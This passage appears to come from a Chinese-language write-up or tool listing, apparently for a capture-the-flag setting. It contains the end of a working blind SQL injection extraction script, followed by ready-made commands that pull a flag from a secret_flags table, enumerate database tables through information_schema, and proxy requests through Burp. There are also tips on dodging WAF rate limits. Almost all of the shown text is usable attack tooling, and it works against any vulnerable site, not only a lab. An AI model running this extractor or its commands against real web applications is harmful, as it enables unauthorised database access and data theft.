动加 limit i,1 提取 N 行")
    p.add_argument("--maxlen", type=int, default=120)
    p.add_argument("--start", type=int, default=1)
    p.add_argument("--sleep", type=float, default=SLEEP)
    p.add_argument("--proxy", default=None, help="例:
http://127.0.0.1:8080")
    args = p.parse_args()

    # 命令行覆盖全局配置
    URL, PARAM, METHOD, DATA = args.url, args.param,
args.method.upper(), args.data

```

```

    TRUE_MARK, FALSE_MARK, SLEEP = args.true_mark, args.false_mark,
args.sleep
    TEMPLATE = args.template
    EXISTS_TEMPLATE = args.exists_template
    COUNT_TEMPLATE = args.count_template
    PROXY = {"http": args.proxy, "https": args.proxy} if args.proxy
else None

    if args.count_expr:
        n = count_extract(args.count_expr)
        print(f"[+] COUNT 结果: {n}")
        return

    if not args.expr:
        p.error("需要 --expr 或 --count")

    if args.rows > 0:
        for i in range(args.rows):
            print(f"--- 行 {i} ---")
            row = extract(f"{args.expr} limit {i},1", args.maxlen,
args.start)
            print(f"[+] row[{i}] = {row}")
        else:
            result = extract(args.expr, args.maxlen, args.start)
            print(f"\n[+] 结果: {result}")

if __name__ == "__main__":
    main()

```

常用命令

```

# 提取任意子查询
python3 blind_sql_i.py --expr "(select flag from secret_flags limit
0,1)"

# 数表/数行

```

```
python3 blind_sql_i.py --count "(select count(*) from
information_schema.tables where table_schema=database())"

# 整表枚举 (自动加 limit i,1)
python3 blind_sql_i.py --expr "(select table_name from
information_schema.tables where table_schema=database())" --rows 5

# 走 Burp 抓包观察
python3 blind_sql_i.py --expr "database()" --proxy
http://127.0.0.1:8080

# 不改文件只靠命令行覆盖
python3 blind_sql_i.py --url "http://target/x.php" --param q \
    --true-mark "welcome" --expr "version()" --proxy
http://127.0.0.1:8080

# proxy可选 需要在burps抓包才填
```

两个使用注意：

- 字符数多时（如 43 字符 flag $\approx$ 300+ 请求）建议后台跑或加 `--maxlen` 控制；响应慢的目标加 `--sleep` 防 WAF 限速。
- 若目标真/假只能靠「假标记」区分（真状态无特征串），设 `--true-mark ""` 并给 `--false-mark`，脚本会自动切换判定逻辑。